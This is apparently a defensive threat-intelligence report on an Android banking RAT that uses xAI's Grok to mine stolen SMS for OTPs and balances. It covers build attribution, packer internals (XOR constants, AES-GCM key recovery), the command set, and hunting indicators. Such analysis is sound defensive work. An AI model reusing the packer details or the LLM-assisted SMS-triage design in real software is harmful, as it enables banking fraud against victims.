Five related droppers unpack to the same payload family, and all six share one hard link: the Telegram beacon chat_id 58898125, identical in every build. C2 IPs rotate, the packer differs, the lure changes, and the obfuscated class names are regenerated per build, but the operator’s own beacon chat is constant. That is the attribution anchor; everything else is per-build.

Dropper SHA-256 First seen Packer C2 (mainip) Lure Telegram chat_id
0b0367d67d16658ad6dd850b3df3848f0e95c2d87bfa75f8a1ac9e55c7af2b5f 2026-11-05 A (XOR) 192.238.176.169 eChallan (IN) 58898125
a024c2e2746a4889532a7f68b498ba8758fd983c9a8501d9e9165acd652128c2 2026-11-03 A (XOR) 192.238.176.179 eChallan (IN) 58898125
ee6d5077cee6c1305819514322dc7860d11a83719eab0a38cc80831f6f59d11f 2026-10-31 B (AES-GCM) 154.198.53.150 bzbzpaper (scene=in…) 58898125
28bb7b89f5f88f81236d9849ce1984a4f445a6b6cd3bccf8579f443bb2e88b15 2026-10-28 B (AES-GCM) 45.192.214.73 xvideos.com 58898125
1747ac78c2cda775beb5d77fd7c1ca948560fc8bb3b20b24be86690343d9c46c 2026-09-25 B (AES-GCM) 203.91.75.232 (none) 58898125
4b6a11c4bb9ed8b772466d9f3e6c5cf454cc25965c0c8f776dad9e61171f095b 2026-09-25 B (AES-GCM) 192.229.87.171 xvideos.com 58898125

Payload dex SHA-256: 0b 0bf9340d048a941a709d2546a5883d50588e985cf2767fbf1d9aea75e354b655, a024 f49936e9fe3fe5038ae553f7df949553200364f535e470b185156f0647183fc7, ee6d d7a3c8773b82821389c6c391401ee46503aca437279c6db3d9410f629bf7f4f3, 28bb 83de7bf4617ad10177ecc60241cba7a4f4fd52e9466b8194e55cedb623e0586e, 1747 ccf596a910e33f505a25e24e73d098633ac0a453318c9a49f28599555fb69b15, 4b6a 54b16f929bada784c54bd43c5ef3b92fe4a0e86e4b6d467bc49390b8a76fc72b.

Every payload carries Main_Socket, the MianSocket typo, api.x.ai, the xAI_API / Get_AI_ANA_Data commands, the “professional SMS analyzer” prompt, target_dropper_pkgname = com.mentorship.national.govt, and a public-IP geolocation lookup to api.ipify.org. The lures vary (India eChallan, adult-content bait, or none); the RAT does not. The two packer lines run concurrently (the oldest and newest builds use different loaders):

  • Variant A (XOR): loader stub with p_dex / payload_%d.dex / STUB / M_ERR, a 24-byte header, and a 3-op per-byte transform ((b ^ k1) - k2) ^ k3 (constants per build; 0b uses 0xD1 / 178 / 0x4E, a024 0x6F / 216 / 0x52), then GZIP. The two November builds, whose C2s share 192.238.176.0/24.
  • Variant B (AES-GCM): a stronger loader ("invalid DEX count", "protected payload initialization failed", createDexLoader in-memory class loading). Each payload is AES-256-GCM: a 40-byte header, a 12-byte nonce per blob, 128-bit tag, AAD = BUILD_ID || int(1) || int(idx). The key is recoverKey(hexA, hexB) = hex(A) XOR hex(B) from two embedded 32-byte hex strings in <clinit>. The September-October builds.

So this is one actor iterating a builder: same RAT, same Grok pipeline, same beacon chat, with the packer, C2 and lure swapped between campaigns.

Assessment

Groklem is an Android banking RAT with a conventional multi-channel raw-TCP backbone, an anti-analysis reflection-and-GZIP (or AES-GCM) packer, and a broad command set spanning overlay/web injection, keylogging, HVNC, a dropper, and lock-screen extortion. Its hardcoded targeting signals point to India and Bangladesh: the eChallan lure and the PhonePe hook toward India, and the Grok prompt’s bKash / BDT default toward Bangladesh. Because the actual bank and crypto identification is handed to Grok rather than a hardcoded list, the same build will also read a victim’s banking SMS from any other institution it finds, so those two markets are where the operator’s baked-in signals lean, not a hard boundary on where victims are. That LLM triage stage is what lifts it above the commodity baseline: with the operator’s own xAI key, it has Grok extract OTPs, transactions, balances and PIN resets from stolen SMS and estimate the victim’s balance, returning the result over the C2 socket.

The LLM dependency is also the operator’s exposure: an authenticated HTTPS call to a single commercial endpoint (api.x.ai), authenticated with a provider-issued key tied to an attacker-controlled account, both revocable and actionable by xAI. The whole campaign ties back to one constant, the shared Telegram beacon chat 58898125, which survives every C2 rotation, packer change and lure swap across the six builds.

Indicators

Split by durability. The durable set survives rebuilds and C2 rotation and is what to hunt on; the per-build set is this-campaign IOCs that will age out.

Durable (family / operator level)

  • Telegram beacon chat_id 58898125 (constant across all six builds; the strongest cross-build anchor).
  • Second-stage package name com.mentorship.national.govt (all six builds).
  • Grok usage: POST https://api.x.ai/v1/chat/completions, model grok-4.20-0309-non-reasoning, key set at runtime via C2 xAI_API:<key> (never embedded).
  • The Grok system prompts (verbatim, highly specific): You are a professional SMS analyzer, the rule Currency must be auto-detected. Do NOT hardcode only BDT., and the output schema keys pin_password_reset / salary_income / loan_emi / failed_transactions / account_creation / security_alerts.
  • The misspelled command vocabulary: AI_ANALICESS_DATA|||, Get_AI_ANA_Data, ai_is_done:true, SMS_Done, scren_redrport, Blcak_screen / adb_black_screen, AUTO_SYSTEAM, systeam_app, deleat_all_file, adbacesss_cmd_excute, phing_sh_capture_job_passwd, ran_som_war_scope, Target_instal_Apk_with_Dropper_Job, getLastDaysSms_for_AI.
  • WebView inject internals: window.__androidCaptureCore and the @JavascriptInterface names capturePasswordInput, captureSensitiveData, saveLoginData, saveSensitiveData.
  • Hardcoded PhonePe accessibility hook (event.getPackageName().equals("com.phonepe.app")), five of six builds.
  • Packer-line signatures: Variant A p_dex + payload_%d.dex + STUB + M_ERR; Variant B invalid DEX count + protected payload initialization failed + recoverKey + createDexLoader.

Per-build (rotate; see the campaign table)

  • Six dropper SHA-256 and six payload-dex SHA-256 (tables above).
  • Six C2 IPs, each tcp/9999 command + separate feature sockets on 8888 / 5058 / 5055 / 5150 / 5000 / 5059. The two November builds share 192.238.176.0/24.
  • Per-build packer asset name (pPogPmRHrE, nJKKkZDIVc, EwYiogkemZlhQZpJnZVA, EptgsOjoOiHktObKPatx, yATrogBSTTcnnlS, NnpYynTHtfrG) and the word-salad package / long-random Application class name.
  • Lure (per table): eChallan echallan.parivahan.nic.in/challan, xvideos.com, bzbzpaper.com?scene=in878bz, or none.
  • Signing: Android debug cert a40da80a59d170caa950cf15c18c454d47a39b26989d8b640ecd745ba71bf5dc (generic; not an anchor).